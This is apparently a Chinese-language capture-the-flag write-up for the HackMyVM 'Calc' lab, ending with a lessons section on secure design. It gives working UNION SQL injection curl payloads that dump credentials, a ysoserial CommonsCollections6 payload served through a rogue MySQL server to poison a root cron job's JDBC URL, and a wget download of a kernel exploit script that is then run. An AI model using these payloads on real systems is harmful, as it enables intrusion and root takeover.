跳到主要内容

HackMyVM Calc 通关记录|SQL 注入与 JDBC 反序列化提权

靶机链接:Calc


0x01 基本信息

名称IP
Kali Linux192.168.1.113
Calc192.168.1.114

攻击流程

点击展开

攻击链摘要

阶段关键证据 / 操作作用
服务发现22/tcp SSH、80/tcp Apache、8080/tcp Tomcat / Spring Boot确定 Web 与后端 Java 服务是主要攻击面
SQL 注入/api/track/1' 返回 MariaDB 语法错误确认后端直接拼接 Track ID
数据枚举UNION 注入读取 webapp_userssystem_config获得 SSH 凭据和 JDBC 配置线索
初始访问Jimmy:JimmyThumb_Calc_2010 SSH 登录获得普通用户权限和 user flag
本地枚举TODO.txt/etc/cron.d/calc_sync/opt/backend_sync.jar发现 root 定时任务与数据库密码
JDBC 反序列化毒化 system_config.jdbc_url 指向恶意 MySQL利用 root cron 触发 Java 反序列化
Root 权限CC6 载荷执行 chmod u+s /bin/bash 后使用 bash -p获得 root flag
备用提权内核版本命中 Copy Fail / CVE-2026-31431JDBC 路线之外的本地提权备选

0x02 侦察与信息收集 (Reconnaissance)

1. 全端口扫描

使用 Nmap 对靶机进行全端口和服务版本扫描:

nmap -sV -sC -p- --min-rate 1000 -T4 192.168.1.114

服务列表摘要:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3
80/tcp open http Apache httpd 2.4.66 ((Debian))
8080/tcp open http Apache Tomcat (language: en)
端口服务判断
22/tcpSSH需要凭据,优先作为后续初始访问入口
80/tcpApache HTTP主要 Web 攻击面
8080/tcpTomcat / Spring Boot暂未发现直接可用接口,可能是后端同步服务

2. Web 首页分析

访问 80 端口首页可以看到一个 Track ID 查询功能:

curl -s http://192.168.1.114/

核心前端逻辑如下:

function fetchTrack() {
var id = document.getElementById('trackId').value;
fetch('/api/track/' + id)
.then(response => response.text())
.then(data => document.getElementById('output').innerText = data);
}

关键入口是 /api/track/<id>。前端只是把输入拼到 URL,真正的风险需要看后端如何处理这个 id

3. 目录与后端探测

目录枚举没有发现明显后台:

gobuster dir -u http://192.168.1.114 -w /usr/share/wordlists/dirb/common.txt
/index.html (Status: 200)
/server-status (Status: 403)
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)

访问 8080 端口根路径返回 Spring Boot 风格 JSON:

curl -s http://192.168.1.114:8080/
{"status":404,"error":"Not Found","path":"/"}

8080 暂时没有直接入口,先把注意力放到 80 端口的 /api/track/<id>


0x03 漏洞探测与分析 (Vulnerability Analysis)

1. SQL 注入确认

UNION 注入的通用枚举步骤见知识库:UNION SQL 注入枚举

正常请求:

curl -s http://192.168.1.114/api/track/1
Track: Calc. - Lyric: The cross-purposes was just our destiny after all

单引号测试:

curl -s "http://192.168.1.114/api/track/1'"
Calc DB Syntax Error: You have an error in your SQL syntax; check the manual
that corresponds to your MariaDB server version for the right syntax to use
near ''' at line 1

这里已经确认两个问题:

  • Track ID 被直接拼接进 SQL。
  • 数据库错误被原样回显给用户。

2. UNION 注入枚举

先确认列数:

curl -s "http://192.168.1.114/api/track/1 ORDER BY 3-- -"
curl -s "http://192.168.1.114/api/track/1 ORDER BY 4-- -"

ORDER BY 3 正常,ORDER BY 4 报错,因此查询结果是 3 列。

提取数据库基本信息:

curl -s "http://192.168.1.114/api/track/-1 UNION SELECT 1,@@version,3-- -"
curl -s "http://192.168.1.114/api/track/-1 UNION SELECT 1,user(),3-- -"
curl -s "http://192.168.1.114/api/track/-1 UNION SELECT 1,database(),3-- -"

结果摘要:

项目
数据库版本10.5.29-MariaDB-0+deb11u1
当前用户calc_user@localhost
当前数据库calc_db

枚举表名:

curl -s "http://192.168.1.114/api/track/-1 UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- -"
track_info,webapp_users,access_logs,system_config

3. 读取凭据与配置

读取 webapp_users

curl -s "http://192.168.1.114/api/track/-1 UNION SELECT 1,GROUP_CONCAT(id,':',username,':',password SEPARATOR '||'),3 FROM webapp_users-- -"
Track: 1:Jimmy:JimmyThumb_Calc_2010 - Lyric: 3

读取 system_config

curl -s "http://192.168.1.114/api/track/-1 UNION SELECT 1,GROUP_CONCAT(id,':',config_name,':',jdbc_url SEPARATOR '||'),3 FROM system_config-- -"
Track: 1:master_sync_node:jdbc:mysql://127.0.0.1:3306/calc_db?useSSL=false - Lyric: 3

阶段结论:

发现影响
webapp_users 明文密码直接获得 SSH 凭据
system_config.jdbc_url暗示后续存在 JDBC 连接逻辑
calc_user 数据库身份后续需要确认是否能修改 system_config

0x04 核心攻击链:SQL 注入获取初始权限

1. SSH 登录

使用 SQL 注入得到的凭据登录:

sshpass -p 'JimmyThumb_Calc_2010' ssh Jimmy@192.168.1.114
uid=1000(Jimmy) gid=1000(Jimmy) groups=1000(Jimmy)
Linux calc 4.19.0-27-amd64 x86_64 GNU/Linux

2. User Flag

cat /home/Jimmy/user.txt
flag{2f3ca14d6753f790ee1a9e5b826c65e3}

3. 本地枚举

先看用户目录:

ls -la /home/Jimmy/
-r-------- 1 Jimmy Jimmy 39 Apr 5 05:34 user.txt
-rw-r--r-- 1 root root 234 Apr 5 06:26 TODO.txt
lrwxrwxrwx 1 Jimmy Jimmy 9 Apr 5 09:44 .bash_history -> /dev/null
lrwxrwxrwx 1 Jimmy Jimmy 9 Apr 5 09:44 .mysql_history -> /dev/null

TODO.txt 是关键:

1. Migrate Tomcat to port 80 (Currently on 8080 via reverse proxy).
2. Secure local database credentials (calc_user : vocaloid_miku_01).
3. Fix backend_sync.jar reading system_config in cron.
Do not change 700 permissions on the jar!

这份待办事项暴露了数据库密码、cron 任务和 backend_sync.jar 的行为。再确认 cron:

cat /etc/cron.d/calc_sync
ls -la /opt/backend_sync.jar
* * * * * root /usr/bin/java -jar /opt/backend_sync.jar >/dev/null 2>&1
-rw-r--r-- 1 root root 1594850 Apr 5 09:30 /opt/backend_sync.jar

backend_sync.jar 每分钟以 root 身份执行,文件可读不可写。这时提权方向已经很清楚:不能改 JAR,就看 JAR 读取的配置能不能被控制。


0x05 权限提升 (Privilege Escalation)

路线总览

常规提权面先过一遍:

sudo -l
find / -perm -4000 -type f 2>/dev/null
getcap -r / 2>/dev/null

sudo、异常 SUID 和 capability 都没有直接突破口。后续可分成两条独立提权路线:

路线核心条件结果
路线 A:JDBC 反序列化可修改 system_config.jdbc_url,root cron 会执行 backend_sync.jar诱导 root Java 进程连接恶意 MySQL,触发反序列化
路线 B:Copy Fail / CVE-2026-31431内核 4.19.0-27-amd64 处于影响范围,普通用户可执行本地代码利用页面缓存污染获得 root shell

路线 A 更贴合靶机自身业务逻辑,路线 B 是同一普通用户权限下的内核本地提权路线。两条路线都可以从 Jimmy 权限继续拿到 root。

路线 A:JDBC 反序列化提权

MySQL Connector/J 反序列化的条件判断和通用链路见知识库:MySQL Connector/J JDBC 反序列化

A.1 分析 backend_sync.jar

把 JAR 下载到攻击机后反编译:

sshpass -p 'JimmyThumb_Calc_2010' scp Jimmy@192.168.1.114:/opt/backend_sync.jar .
jadx -d jadx_output backend_sync.jar

反编译后核心逻辑位于 jadx_output/sources/com/sync/SyncTask.java,可以先直接查看这个 Java 文件:

sed -n '1,160p' jadx_output/sources/com/sync/SyncTask.java

SyncTask.java 中的关键逻辑可以简化成这样:

// jadx_output/sources/com/sync/SyncTask.java
Connection conn = DriverManager.getConnection(
"jdbc:mysql://127.0.0.1:3306/calc_db?useSSL=false",
"calc_user",
"vocaloid_miku_01");

ResultSet rs = conn.createStatement().executeQuery(
"SELECT jdbc_url FROM system_config WHERE config_name='master_sync_node'");

if (rs.next()) {
DriverManager.getConnection(rs.getString("jdbc_url")).close();
}

也就是说:

  1. root cron 启动 JAR。
  2. JAR 用硬编码数据库密码连接本地 MariaDB。
  3. JAR 从 system_config 读取 jdbc_url
  4. JAR 对这个 URL 发起第二次 JDBC 连接。

如果 calc_user 能修改 system_config.jdbc_url,就可以让 root 进程连接攻击机控制的 MySQL 服务。

A.2 反序列化条件确认

JAR 中存在关键依赖和类:

com/mysql/jdbc/ResultSetImpl.class
com/mysql/jdbc/interceptors/ServerStatusDiffInterceptor.class
org/apache/commons/collections/...
META-INF/maven/commons-collections/commons-collections/pom.properties

commons-collections 版本为 3.2.1。这一组合满足经典 MySQL Connector/J 反序列化利用条件:

条件状态说明
可控 JDBC URL成立system_config.jdbc_url 可被数据库用户修改
可触发拦截器成立ServerStatusDiffInterceptor 存在
可启用反序列化成立JDBC URL 可加入 autoDeserialize=true
Gadget 链成立JAR 打包了 commons-collections 3.2.1
root 执行上下文成立cron 以 root 执行 JAR

A.3 生成 CC6 载荷

使用 ysoserial 生成 CommonsCollections6 载荷。这里选择 CC6,是因为它比 CC1 更适合 JDK 11 环境。

cd /home/kali/wp/calc

java --add-opens java.base/sun.reflect.annotation=ALL-UNNAMED \
--add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/javax.management=ALL-UNNAMED \
--add-opens java.base/java.util=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.transport=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
-jar ysoserial-all.jar CommonsCollections6 'chmod u+s /bin/bash' \
> payload_cc6.ser

确认 Java 序列化 magic bytes:

xxd payload_cc6.ser | head -1
00000000: aced 0005 7372 ...

A.4 启动恶意 MySQL 服务

这里使用自写的最小 MySQL 协议服务端:rogue_mysql.py

python3 rogue_mysql.py payload_cc6.ser 3307

脚本的关键点是:当客户端执行 SHOW SESSION STATUS 时,返回一个带有序列化载荷的 BLOB 字段。

字段类型:0xFC FIELD_TYPE_BLOB
字段标志:0x0090 BLOB_FLAG | BINARY_FLAG
字符集: 0x3F binary
内容: 0xACED... Java serialized payload

这会让 MySQL Connector/J 在 autoDeserialize=true 时进入 ObjectInputStream.readObject()

调用链简化如下:

DriverManager.getConnection(evil_jdbc_url)
-> ServerStatusDiffInterceptor.preProcess()
-> SHOW SESSION STATUS
-> 恶意 MySQL 返回 BLOB 序列化数据
-> ResultSetImpl.getObject()
-> ObjectInputStream.readObject()
-> CommonsCollections6 gadget
-> chmod u+s /bin/bash

A.5 毒化 JDBC URL 并等待 cron

Jimmy 登录后,通过泄露的数据库凭据修改配置:

mysql -ucalc_user -pvocaloid_miku_01 calc_db -e \
"UPDATE system_config
SET jdbc_url='jdbc:mysql://192.168.1.113:3307/calc_db?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor'
WHERE config_name='master_sync_node';
SELECT jdbc_url FROM system_config WHERE config_name='master_sync_node';"

等待 root cron 运行:

for i in $(seq 1 12); do
stat -c "%A" /bin/bash
sleep 10
done

触发成功后:

-rwsr-xr-x

A.6 获取 root

bash -p -c "id; cat /root/root.txt"
uid=1000(Jimmy) gid=1000(Jimmy) euid=0(root) groups=1000(Jimmy)
flag{4a94a742554abf511c6acd51b2aff7e8}

复现结束后建议恢复状态:

bash -p -c "chmod u-s /bin/bash"

mysql -ucalc_user -pvocaloid_miku_01 calc_db -e \
"UPDATE system_config
SET jdbc_url='jdbc:mysql://127.0.0.1:3306/calc_db?useSSL=false'
WHERE config_name='master_sync_node';"

路线 B:Copy Fail 内核提权

靶机内核是 4.19.0-27-amd64,命中 Copy Fail / CVE-2026-31431 的影响范围。漏洞原理和通用利用方式已整理到知识库:CVE-2026-31431 Copy Fail Linux 内核提权

B.1 分发利用脚本

攻击机开启临时 HTTP 服务:

cd /home/kali/wp/GameShell5/tools
python3 -m http.server 8080 --bind 0.0.0.0

靶机下载并执行 Python ctypes 版本copyfail_cmd.py

cd /tmp
wget -q http://192.168.1.113:8080/copyfail_cmd.py -O copyfail_cmd.py
python3 copyfail_cmd.py 'id; whoami; cat /root/root.txt'

B.2 获取 root

成功时可以直接得到 root 上下文和 root flag:

uid=0(root) gid=1000(Jimmy) groups=1000(Jimmy)
root
flag{4a94a742554abf511c6acd51b2aff7e8}

0x06 最终成果 (Final Flags)

User Flag

  • 路径: /home/Jimmy/user.txt
  • 内容: flag{2f3ca14d6753f790ee1a9e5b826c65e3}

Root Flag

  • 路径: /root/root.txt
  • 内容: flag{4a94a742554abf511c6acd51b2aff7e8}

复盘总结

  1. 入口点很小,但后端风险很大。 页面只有一个 Track ID 查询框,后端却把输入直接拼进 SQL。前端简单不代表攻击面小,真正要看数据进入后端后的处理方式。

  2. 错误回显加速了漏洞利用。 MariaDB 报错直接返回浏览器,让列数、数据库类型和注入语法都变得容易确认。生产系统应该给用户返回泛化错误,把详细错误写入服务端日志。

  3. 明文密码让 SQL 注入直接变成 SSH 初始访问。 webapp_users 中的 JimmyThumb_Calc_2010 没有哈希保护,数据库一旦被读,系统账号就随之失守。

  4. TODO.txt 是第二阶段的关键泄露。 它不仅泄露了 calc_user:vocaloid_miku_01,还说明 backend_sync.jar 会被 cron 调用并读取 system_config,等于把提权方向写在了用户目录里。

  5. JDBC URL 是高危配置面。 当 root 进程读取数据库里的 JDBC URL 并发起连接时,这个字段就不只是“配置”,而是可被攻击者控制的执行路径。autoDeserialize=trueServerStatusDiffInterceptor 和 classpath 中的 gadget 链组合在一起,最终导致 root RCE。

  6. Copy Fail 应作为备用路径归档。 本靶机内核确实满足 Copy Fail 提权条件,但从靶机设计看,JDBC 反序列化更贴合主线。把 Copy Fail 放在知识库中沉淀,通关文章里只保留命中条件和备用说明,会更清爽。